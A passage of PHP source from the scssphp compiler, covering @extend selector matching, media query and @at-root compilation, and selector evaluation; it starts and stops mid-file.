* @return \Leafo\ScssPhp\Parser
*/
protected function parserFactory($path)
{
$parser = new Parser($path, count($this->sourceNames),
$this->encoding, $this->cache);
$this->sourceNames[] = $path;
$this->addParsedFile($path);
return $parser;
}
/**
* Is self extend?
*
* @param array $target
* @param array $origin
*
* @return boolean
*/
protected function isSelfExtend($target, $origin)
{
foreach ($origin as $sel) {
if (in_array($target, $sel)) {
return true;
}
}
return false;
}
/**
* Push extends
*
* @param array $target
* @param array $origin
* @param \stdClass $block
*/
protected function pushExtends($target, $origin, $block)
{
if ($this->isSelfExtend($target, $origin)) {
return;
}
$i = count($this->extends);
$this->extends[] = [$target, $origin, $block];
foreach ($target as $part) {
if (isset($this->extendsMap[$part])) {
$this->extendsMap[$part][] = $i;
} else {
$this->extendsMap[$part] = [$i];
}
}
}
/**
* Make output block
*
* @param string $type
* @param array $selectors
*
* @return \Leafo\ScssPhp\Formatter\OutputBlock
*/
protected function makeOutputBlock($type, $selectors = null)
{
$out = new OutputBlock;
$out->type = $type;
$out->lines = [];
$out->children = [];
$out->parent = $this->scope;
$out->selectors = $selectors;
$out->depth = $this->env->depth;
if ($this->env->block instanceof Block) {
$out->sourceName = $this->env->block->sourceName;
$out->sourceLine = $this->env->block->sourceLine;
$out->sourceColumn =
$this->env->block->sourceColumn;
} else {
$out->sourceName = null;
$out->sourceLine = null;
$out->sourceColumn = null;
}
return $out;
}
/**
* Compile root
*
* @param \Leafo\ScssPhp\Block $rootBlock
*/
protected function compileRoot(Block $rootBlock)
{
$this->rootBlock = $this->scope =
$this->makeOutputBlock(Type::T_ROOT);
$this->compileChildrenNoReturn($rootBlock->children,
$this->scope);
$this->flattenSelectors($this->scope);
$this->missingSelectors();
}
/**
* Report missing selectors
*/
protected function missingSelectors()
{
foreach ($this->extends as $extend) {
if (isset($extend[3])) {
continue;
}
list($target, $origin, $block) = $extend;
// ignore if !optional
if ($block[2]) {
continue;
}
$target = implode(' ', $target);
$origin = $this->collapseSelectors($origin);
$this->sourceLine = $block[Parser::SOURCE_LINE];
$this->throwError("\"$origin\" failed to
@extend \"$target\". The selector \"$target\" was not
found.");
}
}
/**
* Flatten selectors
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $block
* @param string $parentKey
*/
protected function flattenSelectors(OutputBlock $block, $parentKey =
null)
{
if ($block->selectors) {
$selectors = [];
foreach ($block->selectors as $s) {
$selectors[] = $s;
if (! is_array($s)) {
continue;
}
// check extends
if (! empty($this->extendsMap)) {
$this->matchExtends($s, $selectors);
// remove duplicates
array_walk($selectors, function (&$value) {
$value = serialize($value);
});
$selectors = array_unique($selectors);
array_walk($selectors, function (&$value) {
$value = unserialize($value);
});
}
}
$block->selectors = [];
$placeholderSelector = false;
foreach ($selectors as $selector) {
if ($this->hasSelectorPlaceholder($selector)) {
$placeholderSelector = true;
continue;
}
$block->selectors[] =
$this->compileSelector($selector);
}
if ($placeholderSelector && 0 ===
count($block->selectors) && null !== $parentKey) {
unset($block->parent->children[$parentKey]);
return;
}
}
foreach ($block->children as $key => $child) {
$this->flattenSelectors($child, $key);
}
}
/**
* Glue parts of :not( or :nth-child( ... that are in general splitted
in selectors parts
*
* @param array $parts
*
* @return array
*/
protected function glueFunctionSelectors($parts)
{
$new = [];
foreach ($parts as $part) {
if (is_array($part)) {
$part = $this->glueFunctionSelectors($part);
$new[] = $part;
} else {
// a selector part finishing with a ) is the last part of a
:not( or :nth-child(
// and need to be joined to this
if (count($new) && is_string($new[count($new) - 1])
&& strlen($part) && substr($part, -1)
=== ')' && strpos($part, '(') === false
) {
$new[count($new) - 1] .= $part;
} else {
$new[] = $part;
}
}
}
return $new;
}
/**
* Match extends
*
* @param array $selector
* @param array $out
* @param integer $from
* @param boolean $initial
*/
protected function matchExtends($selector, &$out, $from = 0,
$initial = true)
{
static $partsPile = [];
$selector = $this->glueFunctionSelectors($selector);
foreach ($selector as $i => $part) {
if ($i < $from) {
continue;
}
// check that we are not building an infinite loop of
extensions
// if the new part is just including a previous part don't
try to extend anymore
if (count($part) > 1) {
foreach ($partsPile as $previousPart) {
if (! count(array_diff($previousPart, $part))) {
continue 2;
}
}
}
if ($this->matchExtendsSingle($part, $origin)) {
$partsPile[] = $part;
$after = array_slice($selector, $i + 1);
$before = array_slice($selector, 0, $i);
list($before, $nonBreakableBefore) =
$this->extractRelationshipFromFragment($before);
foreach ($origin as $new) {
$k = 0;
// remove shared parts
if (count($new) > 1) {
while ($k < $i && isset($new[$k])
&& $selector[$k] === $new[$k]) {
$k++;
}
}
$replacement = [];
$tempReplacement = $k > 0 ? array_slice($new, $k) :
$new;
for ($l = count($tempReplacement) - 1; $l >= 0;
$l--) {
$slice = [];
foreach ($tempReplacement[$l] as $chunk) {
if (! in_array($chunk, $slice)) {
$slice[] = $chunk;
}
}
array_unshift($replacement, $slice);
if (!
$this->isImmediateRelationshipCombinator(end($slice))) {
break;
}
}
$afterBefore = $l != 0 ? array_slice($tempReplacement,
0, $l) : [];
// Merge shared direct relationships.
$mergedBefore =
$this->mergeDirectRelationships($afterBefore, $nonBreakableBefore);
$result = array_merge(
$before,
$mergedBefore,
$replacement,
$after
);
if ($result === $selector) {
continue;
}
$out[] = $result;
// recursively check for more matches
$startRecurseFrom = count($before) +
min(count($nonBreakableBefore), count($mergedBefore));
$this->matchExtends($result, $out,
$startRecurseFrom, false);
// selector sequence merging
if (! empty($before) && count($new) > 1) {
$preSharedParts = $k > 0 ? array_slice($before,
0, $k) : [];
$postSharedParts = $k > 0 ? array_slice($before,
$k) : $before;
list($betweenSharedParts, $nonBreakable2) =
$this->extractRelationshipFromFragment($afterBefore);
$result2 = array_merge(
$preSharedParts,
$betweenSharedParts,
$postSharedParts,
$nonBreakable2,
$nonBreakableBefore,
$replacement,
$after
);
$out[] = $result2;
}
}
array_pop($partsPile);
}
}
}
/**
* Match extends single
*
* @param array $rawSingle
* @param array $outOrigin
*
* @return boolean
*/
protected function matchExtendsSingle($rawSingle, &$outOrigin)
{
$counts = [];
$single = [];
// simple usual cases, no need to do the whole trick
if (in_array($rawSingle,
[['>'],['+'],['~']])) {
return false;
}
foreach ($rawSingle as $part) {
// matches Number
if (! is_string($part)) {
return false;
}
if (! preg_match('/^[\[.:#%]/', $part) &&
count($single)) {
$single[count($single) - 1] .= $part;
} else {
$single[] = $part;
}
}
$extendingDecoratedTag = false;
if (count($single) > 1) {
$matches = null;
$extendingDecoratedTag = preg_match('/^[a-z0-9]+$/i',
$single[0], $matches) ? $matches[0] : false;
}
foreach ($single as $part) {
if (isset($this->extendsMap[$part])) {
foreach ($this->extendsMap[$part] as $idx) {
$counts[$idx] = isset($counts[$idx]) ? $counts[$idx] +
1 : 1;
}
}
}
$outOrigin = [];
$found = false;
foreach ($counts as $idx => $count) {
list($target, $origin, /* $block */) = $this->extends[$idx];
$origin = $this->glueFunctionSelectors($origin);
// check count
if ($count !== count($target)) {
continue;
}
$this->extends[$idx][3] = true;
$rem = array_diff($single, $target);
foreach ($origin as $j => $new) {
// prevent infinite loop when target extends itself
if ($this->isSelfExtend($single, $origin)) {
return false;
}
$replacement = end($new);
// Extending a decorated tag with another tag is not
possible.
if ($extendingDecoratedTag && $replacement[0] !=
$extendingDecoratedTag &&
preg_match('/^[a-z0-9]+$/i', $replacement[0])
) {
unset($origin[$j]);
continue;
}
$combined = $this->combineSelectorSingle($replacement,
$rem);
if (count(array_diff($combined,
$origin[$j][count($origin[$j]) - 1]))) {
$origin[$j][count($origin[$j]) - 1] = $combined;
}
}
$outOrigin = array_merge($outOrigin, $origin);
$found = true;
}
return $found;
}
/**
* Extract a relationship from the fragment.
*
* When extracting the last portion of a selector we will be left with
a
* fragment which may end with a direction relationship combinator.
This
* method will extract the relationship fragment and return it along
side
* the rest.
*
* @param array $fragment The selector fragment maybe ending with a
direction relationship combinator.
*
* @return array The selector without the relationship fragment if any,
the relationship fragment.
*/
protected function extractRelationshipFromFragment(array $fragment)
{
$parents = [];
$children = [];
$j = $i = count($fragment);
for (;;) {
$children = $j != $i ? array_slice($fragment, $j, $i - $j) :
[];
$parents = array_slice($fragment, 0, $j);
$slice = end($parents);
if (empty($slice) || !
$this->isImmediateRelationshipCombinator($slice[0])) {
break;
}
$j -= 2;
}
return [$parents, $children];
}
/**
* Combine selector single
*
* @param array $base
* @param array $other
*
* @return array
*/
protected function combineSelectorSingle($base, $other)
{
$tag = [];
$out = [];
$wasTag = true;
foreach ([$base, $other] as $single) {
foreach ($single as $part) {
if (preg_match('/^[\[.:#]/', $part)) {
$out[] = $part;
$wasTag = false;
} elseif (preg_match('/^[^_-]/', $part)) {
$tag[] = $part;
$wasTag = true;
} elseif ($wasTag) {
$tag[count($tag) - 1] .= $part;
} else {
$out[count($out) - 1] .= $part;
}
}
}
if (count($tag)) {
array_unshift($out, $tag[0]);
}
return $out;
}
/**
* Compile media
*
* @param \Leafo\ScssPhp\Block $media
*/
protected function compileMedia(Block $media)
{
$this->pushEnv($media);
$mediaQueries =
$this->compileMediaQuery($this->multiplyMedia($this->env));
if (! empty($mediaQueries) && $mediaQueries) {
$previousScope = $this->scope;
$parentScope = $this->mediaParent($this->scope);
foreach ($mediaQueries as $mediaQuery) {
$this->scope = $this->makeOutputBlock(Type::T_MEDIA,
[$mediaQuery]);
$parentScope->children[] = $this->scope;
$parentScope = $this->scope;
}
// top level properties in a media cause it to be wrapped
$needsWrap = false;
foreach ($media->children as $child) {
$type = $child[0];
if ($type !== Type::T_BLOCK &&
$type !== Type::T_MEDIA &&
$type !== Type::T_DIRECTIVE &&
$type !== Type::T_IMPORT
) {
$needsWrap = true;
break;
}
}
if ($needsWrap) {
$wrapped = new Block;
$wrapped->sourceName = $media->sourceName;
$wrapped->sourceIndex = $media->sourceIndex;
$wrapped->sourceLine = $media->sourceLine;
$wrapped->sourceColumn = $media->sourceColumn;
$wrapped->selectors = [];
$wrapped->comments = [];
$wrapped->parent = $media;
$wrapped->children = $media->children;
$media->children = [[Type::T_BLOCK, $wrapped]];
if (isset($this->lineNumberStyle)) {
$annotation =
$this->makeOutputBlock(Type::T_COMMENT);
$annotation->depth = 0;
$file = $this->sourceNames[$media->sourceIndex];
$line = $media->sourceLine;
switch ($this->lineNumberStyle) {
case static::LINE_COMMENTS:
$annotation->lines[] = '/* line '
. $line
. ($file ? ', '
. $file : '')
. ' */';
break;
case static::DEBUG_INFO:
$annotation->lines[] = '@media
-sass-debug-info{'
. ($file ?
'filename{font-family:"' . $file . '"}' :
'')
.
'line{font-family:' . $line . '}}';
break;
}
$this->scope->children[] = $annotation;
}
}
$this->compileChildrenNoReturn($media->children,
$this->scope);
$this->scope = $previousScope;
}
$this->popEnv();
}
/**
* Media parent
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $scope
*
* @return \Leafo\ScssPhp\Formatter\OutputBlock
*/
protected function mediaParent(OutputBlock $scope)
{
while (! empty($scope->parent)) {
if (! empty($scope->type) && $scope->type !==
Type::T_MEDIA) {
break;
}
$scope = $scope->parent;
}
return $scope;
}
/**
* Compile directive
*
* @param \Leafo\ScssPhp\Block $block
*/
protected function compileDirective(Block $block)
{
$s = '@' . $block->name;
if (! empty($block->value)) {
$s .= ' ' . $this->compileValue($block->value);
}
if ($block->name === 'keyframes' ||
substr($block->name, -10) === '-keyframes') {
$this->compileKeyframeBlock($block, [$s]);
} else {
$this->compileNestedBlock($block, [$s]);
}
}
/**
* Compile at-root
*
* @param \Leafo\ScssPhp\Block $block
*/
protected function compileAtRoot(Block $block)
{
$env = $this->pushEnv($block);
$envs = $this->compactEnv($env);
$without = isset($block->with) ?
$this->compileWith($block->with) : static::WITH_RULE;
// wrap inline selector
if ($block->selector) {
$wrapped = new Block;
$wrapped->sourceName = $block->sourceName;
$wrapped->sourceIndex = $block->sourceIndex;
$wrapped->sourceLine = $block->sourceLine;
$wrapped->sourceColumn = $block->sourceColumn;
$wrapped->selectors = $block->selector;
$wrapped->comments = [];
$wrapped->parent = $block;
$wrapped->children = $block->children;
$wrapped->selfParent = $block->selfParent;
$block->children = [[Type::T_BLOCK, $wrapped]];
$block->selector = null;
}
$selfParent = $block->selfParent;
if (! $block->selfParent->selectors &&
isset($block->parent) && $block->parent &&
isset($block->parent->selectors) &&
$block->parent->selectors
) {
$selfParent = $block->parent;
}
$this->env = $this->filterWithout($envs, $without);
$saveScope = $this->scope;
$this->scope = $this->filterScopeWithout($saveScope,
$without);
// propagate selfParent to the children where they still can be
useful
$this->compileChildrenNoReturn($block->children,
$this->scope, $selfParent);
$this->scope = $this->completeScope($this->scope,
$saveScope);
$this->scope = $saveScope;
$this->env = $this->extractEnv($envs);
$this->popEnv();
}
/**
* Filter at-root scope depending of with/without option
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $scope
* @param mixed $without
*
* @return mixed
*/
protected function filterScopeWithout($scope, $without)
{
$filteredScopes = [];
if ($scope->type === TYPE::T_ROOT) {
return $scope;
}
// start from the root
while ($scope->parent && $scope->parent->type !==
TYPE::T_ROOT) {
$scope = $scope->parent;
}
for (;;) {
if (! $scope) {
break;
}
if (! $this->isWithout($without, $scope)) {
$s = clone $scope;
$s->children = [];
$s->lines = [];
$s->parent = null;
if ($s->type !== Type::T_MEDIA && $s->type
!== Type::T_DIRECTIVE) {
$s->selectors = [];
}
$filteredScopes[] = $s;
}
if ($scope->children) {
$scope = end($scope->children);
} else {
$scope = null;
}
}
if (! count($filteredScopes)) {
return $this->rootBlock;
}
$newScope = array_shift($filteredScopes);
$newScope->parent = $this->rootBlock;
$this->rootBlock->children[] = $newScope;
$p = &$newScope;
while (count($filteredScopes)) {
$s = array_shift($filteredScopes);
$s->parent = $p;
$p->children[] = &$s;
$p = $s;
}
return $newScope;
}
/**
* found missing selector from a at-root compilation in the previous
scope
* (if at-root is just enclosing a property, the selector is in the
parent tree)
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $scope
* @param \Leafo\ScssPhp\Formatter\OutputBlock $previousScope
*
* @return mixed
*/
protected function completeScope($scope, $previousScope)
{
if (! $scope->type && (! $scope->selectors || !
count($scope->selectors)) && count($scope->lines)) {
$scope->selectors =
$this->findScopeSelectors($previousScope, $scope->depth);
}
if ($scope->children) {
foreach ($scope->children as $k => $c) {
$scope->children[$k] = $this->completeScope($c,
$previousScope);
}
}
return $scope;
}
/**
* Find a selector by the depth node in the scope
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $scope
* @param integer $depth
*
* @return array
*/
protected function findScopeSelectors($scope, $depth)
{
if ($scope->depth === $depth && $scope->selectors) {
return $scope->selectors;
}
if ($scope->children) {
foreach (array_reverse($scope->children) as $c) {
if ($s = $this->findScopeSelectors($c, $depth)) {
return $s;
}
}
}
return [];
}
/**
* Compile @at-root's with: inclusion / without: exclusion into
filter flags
*
* @param array $with
*
* @return integer
*/
protected function compileWith($with)
{
static $mapping = [
'rule' => self::WITH_RULE,
'media' => self::WITH_MEDIA,
'supports' => self::WITH_SUPPORTS,
'all' => self::WITH_ALL,
];
// exclude selectors by default
$without = static::WITH_RULE;
if ($this->libMapHasKey([$with, static::$with])) {
$without = static::WITH_ALL;
$list = $this->coerceList($this->libMapGet([$with,
static::$with]));
foreach ($list[2] as $item) {
$keyword =
$this->compileStringContent($this->coerceString($item));
if (array_key_exists($keyword, $mapping)) {
$without &= ~($mapping[$keyword]);
}
}
}
if ($this->libMapHasKey([$with, static::$without])) {
$without = 0;
$list = $this->coerceList($this->libMapGet([$with,
static::$without]));
foreach ($list[2] as $item) {
$keyword =
$this->compileStringContent($this->coerceString($item));
if (array_key_exists($keyword, $mapping)) {
$without |= $mapping[$keyword];
}
}
}
return $without;
}
/**
* Filter env stack
*
* @param array $envs
* @param integer $without
*
* @return \Leafo\ScssPhp\Compiler\Environment
*/
protected function filterWithout($envs, $without)
{
$filtered = [];
foreach ($envs as $e) {
if ($e->block && $this->isWithout($without,
$e->block)) {
$ec = clone $e;
$ec->block = null;
$ec->selectors = [];
$filtered[] = $ec;
} else {
$filtered[] = $e;
}
}
return $this->extractEnv($filtered);
}
/**
* Filter WITH rules
*
* @param integer
$without
* @param \Leafo\ScssPhp\Block|\Leafo\ScssPhp\Formatter\OutputBlock
$block
*
* @return boolean
*/
protected function isWithout($without, $block)
{
if (isset($block->type)) {
if ($block->type === Type::T_MEDIA) {
return ($without & static::WITH_MEDIA) ? true : false;
}
if ($block->type === Type::T_DIRECTIVE) {
if (isset($block->name) && $block->name ===
'supports') {
return ($without & static::WITH_SUPPORTS) ? true :
false;
}
if (isset($block->selectors) &&
strpos(serialize($block->selectors), '@supports') !== false) {
return ($without & static::WITH_SUPPORTS) ? true :
false;
}
}
}
if ((($without & static::WITH_RULE) &&
isset($block->selectors))) {
return true;
}
return false;
}
/**
* Compile keyframe block
*
* @param \Leafo\ScssPhp\Block $block
* @param array $selectors
*/
protected function compileKeyframeBlock(Block $block, $selectors)
{
$env = $this->pushEnv($block);
$envs = $this->compactEnv($env);
$this->env = $this->extractEnv(array_filter($envs, function
(Environment $e) {
return ! isset($e->block->selectors);
}));
$this->scope = $this->makeOutputBlock($block->type,
$selectors);
$this->scope->depth = 1;
$this->scope->parent->children[] = $this->scope;
$this->compileChildrenNoReturn($block->children,
$this->scope);
$this->scope = $this->scope->parent;
$this->env = $this->extractEnv($envs);
$this->popEnv();
}
/**
* Compile nested block
*
* @param \Leafo\ScssPhp\Block $block
* @param array $selectors
*/
protected function compileNestedBlock(Block $block, $selectors)
{
$this->pushEnv($block);
$this->scope = $this->makeOutputBlock($block->type,
$selectors);
$this->scope->parent->children[] = $this->scope;
// wrap assign children in a block
// except for @font-face
if ($block->type !== Type::T_DIRECTIVE || $block->name !==
"font-face") {
// need wrapping?
$needWrapping = false;
foreach ($block->children as $child) {
if ($child[0] === Type::T_ASSIGN) {
$needWrapping = true;
break;
}
}
if ($needWrapping) {
$wrapped = new Block;
$wrapped->sourceName = $block->sourceName;
$wrapped->sourceIndex = $block->sourceIndex;
$wrapped->sourceLine = $block->sourceLine;
$wrapped->sourceColumn = $block->sourceColumn;
$wrapped->selectors = [];
$wrapped->comments = [];
$wrapped->parent = $block;
$wrapped->children = $block->children;
$wrapped->selfParent = $block->selfParent;
$block->children = [[Type::T_BLOCK, $wrapped]];
}
}
$this->compileChildrenNoReturn($block->children,
$this->scope);
$this->scope = $this->scope->parent;
$this->popEnv();
}
/**
* Recursively compiles a block.
*
* A block is analogous to a CSS block in most cases. A single SCSS
document
* is encapsulated in a block when parsed, but it does not have parent
tags
* so all of its children appear on the root level when compiled.
*
* Blocks are made up of selectors and children.
*
* The children of a block are just all the blocks that are defined
within.
*
* Compiling the block involves pushing a fresh environment on the
stack,
* and iterating through the props, compiling each one.
*
* @see Compiler::compileChild()
*
* @param \Leafo\ScssPhp\Block $block
*/
protected function compileBlock(Block $block)
{
$env = $this->pushEnv($block);
$env->selectors = $this->evalSelectors($block->selectors);
$out = $this->makeOutputBlock(null);
if (isset($this->lineNumberStyle) &&
count($env->selectors) && count($block->children)) {
$annotation = $this->makeOutputBlock(Type::T_COMMENT);
$annotation->depth = 0;
$file = $this->sourceNames[$block->sourceIndex];
$line = $block->sourceLine;
switch ($this->lineNumberStyle) {
case static::LINE_COMMENTS:
$annotation->lines[] = '/* line ' . $line
. ($file ? ', ' . $file
: '')
. ' */';
break;
case static::DEBUG_INFO:
$annotation->lines[] = '@media
-sass-debug-info{'
. ($file ?
'filename{font-family:"' . $file . '"}' :
'')
. 'line{font-family:' .
$line . '}}';
break;
}
$this->scope->children[] = $annotation;
}
$this->scope->children[] = $out;
if (count($block->children)) {
$out->selectors = $this->multiplySelectors($env,
$block->selfParent);
// propagate selfParent to the children where they still can be
useful
$selfParentSelectors = null;
if (isset($block->selfParent->selectors)) {
$selfParentSelectors = $block->selfParent->selectors;
$block->selfParent->selectors = $out->selectors;
}
$this->compileChildrenNoReturn($block->children, $out,
$block->selfParent);
// and revert for the following childs of the same block
if ($selfParentSelectors) {
$block->selfParent->selectors = $selfParentSelectors;
}
}
$this->formatter->stripSemicolon($out->lines);
$this->popEnv();
}
/**
* Compile root level comment
*
* @param array $block
*/
protected function compileComment($block)
{
$out = $this->makeOutputBlock(Type::T_COMMENT);
$out->lines[] = is_string($block[1]) ? $block[1] :
$this->compileValue($block[1]);
$this->scope->children[] = $out;
}
/**
* Evaluate selectors
*
* @param array $selectors
*
* @return array
*/
protected function evalSelectors($selectors)
{
$this->shouldEvaluate = false;
$selectors = array_map([$this, 'evalSelector'],
$selectors);
// after evaluating interpolates, we might need a second pass
if ($this->shouldEvaluate) {
$selectors = $this->revertSelfSelector($selectors);
$buffer = $this->collapseSelectors($selectors);
$parser = $this->parserFactory(__METHOD__);
if ($parser->parseSelector($buffer, $newSelectors)) {
$selectors = array_map([$this, 'evalSelector'],
$newSelectors);
}
}
return $selectors;
}
/**
* Evaluate selector
*
* @param array $selector
*
* @return array
*/
protected function evalSelector($selector)
{
return array_map([$this, 'evalSelectorPart'], $selector);
}
/**
* Evaluate selector part; replaces all the interpolates, stripping
quotes
*
* @param array $part
*
* @return array
*/
protected function evalSelectorPart($part)
{
foreach ($part as &$p) {
if (is_array($p) && ($p[0] === Type::T_INTERPOLATE ||
$p[0] === Type::T_STRING)) {
$p = $this->compileValue($p);
// force re-evaluation
if (strpos($p, '&') !== false || strpos($p,
',') !== false) {
$this->shouldEvaluate = true;
}
} elseif (is_string($p) && strlen($p) >= 2
&&
($first = $p[0]) && ($first === '"'
|| $first === "'") &&
substr($p, -1) === $first
) {
$p = substr($p, 1, -1);
}
}
return $this->flattenSelectorSingle($part);
}
/**
* Collapse selectors
*
* @param array $selectors
* @param boolean $selectorFormat
* if false return a collapsed string
* if true return an array description of a structured selector
*
* @return string
*/
protected function collapseSelectors($selectors, $selectorFormat =
false)
{
$parts = [];
foreach ($selectors as $selector) {
$output = [];
$glueNext = false;
foreach ($selector as $node) {
$compound = '';
array_walk_recursive(
$node,
function ($value, $key) use (&$compound) {
$compound .= $value;
}
);
if ($selectorFormat &&
$this->isImmediateRelationshipCombinator($compound)) {
if (count($output)) {
$output[count($output) - 1] .= ' ' .
$compound;
} else {
$output[] = $compound;
}
$glueNext = true;
} elseif ($glueNext) {
$output[count($output) - 1] .= ' ' .
$compound;
$glueNext = false;
} else {
$output[] = $compound;
}
}
if ($selectorFormat) {
foreach ($output as &$o) {
$o = [Type::T_STRING, '', [$o]];
}
$output = [Type::T_LIST, ' ', $output];
} else {
$output = implode(' ', $output);
}
$parts[] = $output;
}
if ($selectorFormat) {
$parts = [Type::T_LIST, ',', $parts];
} else {
$parts = implode(', ', $parts);
}
return $parts;
}
/**
* Parse down the selector and revert [self] to "&"
before a reparsing
*
* @param array $selectors
*
* @return array
*/
protected function revertSelfSelector($selectors)
{
foreach ($selectors as &$part) {
if (is_array($part)) {
if ($part === [Type::T_SELF]) {
$part = '&';
} else {
$part = $this->revertSelfSelector($part);
}
}
}
return $selectors;
}
/**
* Flatten selector single; joins together .classes and #ids
*
* @param array $single
*
* @return array
*/
protected function flattenSelectorSingle($single)
{
$joined = [];
foreach ($single as $part) {
if (empty($joined) ||
! is_string($part) ||
preg_match('/[\[.:#%]/', $part)
) {
$joined[] = $part;
continue;
}
if (is_array(end($joined))) {
$joined[] = $part;
} else {
$joined[count($joined) - 1] .= $part;
}
}
return $joined;
}
/**
* Compile selector to string; self(&) should have been replaced by
now
*
* @param string|array $selector
*
* @return string
*/
protected function compileSelector($selector)
{
if (! is_array($selector)) {
return $selector; // media and the like
}
return implode(
' ',
array_map(
[$this, 'compileSelectorPart'],
$selector
)
);
}
/**
* Compile selector part
*
* @param array $piece
*
* @return string
*/
protected function compileSelectorPart($piece)
{
foreach ($piece as &$p) {
if (! is_array($p)) {
continue;
}
switch ($p[0]) {
case Type::T_SELF:
$p = '&';
break;
default:
$p = $this->compileValue($p);
break;
}
}
return implode($piece);
}
/**
* Has selector placeholder?
*
* @param array $selector
*
* @return boolean
*/
protected function hasSelectorPlaceholder($selector)
{
if (! is_array($selector)) {
return false;
}
foreach ($selector as $parts) {
foreach ($parts as $part) {
if (strlen($part) && '%' === $part[0]) {
return true;
}
}
}
return false;
}
protected function pushCallStack($name = '')
{
$this->callStack[] = [
'n' => $name,
Parser::SOURCE_INDEX => $this->sourceIndex,
Parser::SOURCE_LINE => $this->sourceLine,
Parser::SOURCE_COLUMN => $this->sourceColumn
];
// infinite calling loop
if (count($this->callStack) > 25000) {
// not displayed but you can var_dump it to deep debug
$msg = $this->callStackMessage(true, 100);
$msg = "Infinite calling loop";
$this->throwError($msg);
}
}
protected function popCallStack()
{
array_pop($this->callStack);
}
/**
* Compile children and return result
*
* @param array $stms
* @param \Leafo\ScssPhp\Formatter\OutputBlock $out
* @param string $traceName
*
* @return array|null
*/
protected function compileChildren($stms, OutputBlock $out, $traceName
= '')
{
$this->pushCallStack($traceName);
foreach ($stms as $stm) {
$ret = $this->compileChild($stm, $out);
if (isset($ret)) {
return $ret;
}
}
$this->popCallStack();
return null;
}
/**
* Compile children and throw exception if unexpected @return
*
* @param array $stms
* @param \Leafo\ScssPhp\Formatter\OutputBlock $out
* @param \Leafo\ScssPhp\Block $selfParent
* @param string $traceName
*
* @throws \Exception
*/
protected function compileChildrenNoReturn($stms, OutputBlock $out,
$selfParent = null, $traceName = '')
{
$this->pushCallStack($traceName);
foreach ($stms as $stm) {
if ($selfParent && isset($stm[1]) &&
is_object($stm[1]) && $stm[1] instanceof Block) {
$stm[1]->selfParent = $selfParent;
$ret = $this->compileChild($stm, $out);
$stm[1]->selfParent = null;
} elseif ($selfParent && $stm[0] === TYPE::T_INCLUDE) {
$stm['selfParent'] = $selfParent;
$ret = $this->compileChild($stm, $out);
unset($stm['selfParent']);
} else {
$ret = $this->compileChild($stm, $out);
}
if (isset($ret)) {
$this->throwError('@return may only be used within
a function');
return;
}
}
$this->popCallStack();
}
/**
* evaluate media query : compile internal value keeping the structure
inchanged
*
* @param array $queryList
*
* @return array
*/
protected function evaluateMediaQuery($queryList)
{
foreach ($queryList as $kql => $query) {
foreach ($query as $kq => $q) {
for ($i = 1; $i < count($q); $i++) {
$value = $this->compileValue($q[$i]);
// the parser had no mean to know if media type or
expression if it was an interpolation
if ($q[0] == Type::T_MEDIA_TYPE &&
(strpos($value, '(') !== false ||
strpos($value, ')') !== false ||
strpos($value, ':') !== false)
) {
$queryList[$kql][$kq][0] =
Type::T_MEDIA_EXPRESSION;
if (strpos($value, 'and') !== false) {
$values = explode('and', $value);
$value = trim(array_pop($values));
while ($v = trim(array_pop($values))) {
$type = Type::T_MEDIA_EXPRESSION;
if (strpos($v, '(') === false
&&
strpos($v, ')') === false
&&
strpos($v, ':') === false
) {
$type = Type::T_MEDIA_TYPE;
}
if (substr($v, 0, 1) === '('
&& substr($v, -1) === ')') {
$v = substr($v, 1, -1);
}
$queryList[$kql][] =
[$type,[Type::T_KEYWORD, $v]];
}
}
if (substr($value, 0, 1) === '('
&& substr($value, -1) === ')') {
$value = substr($value, 1, -1);
}
}
$queryList[$kql][$kq][$i] = [Type::T_KEYWORD, $value];
}
}
}
return $queryList;
}
/**
* Compile media query
*
* @param array $queryList
*
* @return array
*/
protected function compileMediaQuery($queryList)
{
$start = '@media ';
$default = trim($start);
$out = [];
$current = "";
foreach ($queryList as $query) {
$type = null;
$parts = [];
$mediaTypeOnly = true;
foreach ($query as $q) {
if ($q[0] !== Type::T_MEDIA_TYPE) {
$mediaTypeOnly = false;
break;
}
}
foreach ($query as $q) {
switch ($q[0]) {
case Type::T_MEDIA_TYPE:
$newType = array_map([$this,
'compileValue'], array_slice($q, 1));
// combining not and anything else than media type
is too risky and should be avoided
if (! $mediaTypeOnly) {
if (in_array(Type::T_NOT, $newType) || ($type
&& in_array(Type::T_NOT, $type) )) {
if ($type) {
array_unshift($parts, implode('
', array_filter($type)));
}
if (! empty($parts)) {
if (strlen($current)) {
$current .=
$this->formatter->tagSeparator;
}
$current .= implode(' and ',
$parts);
}
if ($current) {
$out[] = $start . $current;
}
$current = "";
$type = null;
$parts = [];
}
}
if ($newType === ['all'] &&
$default) {
$default = $start . 'all';
}
// all can be safely ignored and mixed with
whatever else
if ($newType !== ['all']) {
if ($type) {
$type = $this->mergeMediaTypes($type,
$newType);
if (empty($type)) {
// merge failed : ignore this query
that is not valid, skip to the next one
$parts = [];
$default = ''; // if
everything fail, no @media at all
continue 3;
}
} else {
$type = $newType;
}
}
break;
case Type::T_MEDIA_EXPRESSION:
if (isset($q[2])) {
$parts[] = '('
. $this->compileValue($q[1])
. $this->formatter->assignSeparator
. $this->compileValue($q[2])
. ')';
} else {
$parts[] = '('
. $this->compileValue($q[1])
. ')';
}
break;
case Type::T_MEDIA_VALUE:
$parts[] = $this->compileValue($q[1]);
break;
}
}
if ($type) {
array_unshift($parts, implode(' ',
array_filter($type)));
}
if (! empty($parts)) {
if (strlen($current)) {
$current .= $this->formatter->tagSeparator;
}
$current .= implode(' and ', $parts);
}
}
if ($current) {
$out[] = $start . $current;
}
// no @media type except all, and no conflict?
if (! $out && $default) {
$out[] = $default;
}
return $out;
}
/**
* Merge direct relationships between selectors
*
* @param array $selectors1
* @param array $selectors2
*
* @return array
*/
protected function mergeDirectRelationships($selectors1, $selectors2)
{
if (empty($selectors1) || empty($selectors2)) {
return array_merge($selectors1, $selectors2);
}
$part1 = end($selectors1);
$part2 = end($selectors2);
if (! $this->isImmediateRelationshipCombinator($part1[0])
&& $part1 !== $part2) {
return array_merge($selectors1, $selectors2);
}
$merged = [];
do {
$part1 = array_pop($selectors1);
$part2 = array_pop($selectors2);
if (! $this->isImmediateRelationshipCombinator($part1[0])
&& $part1 !== $part2) {
if
($this->isImmediateRelationshipCombinator(reset($merged)[0])) {
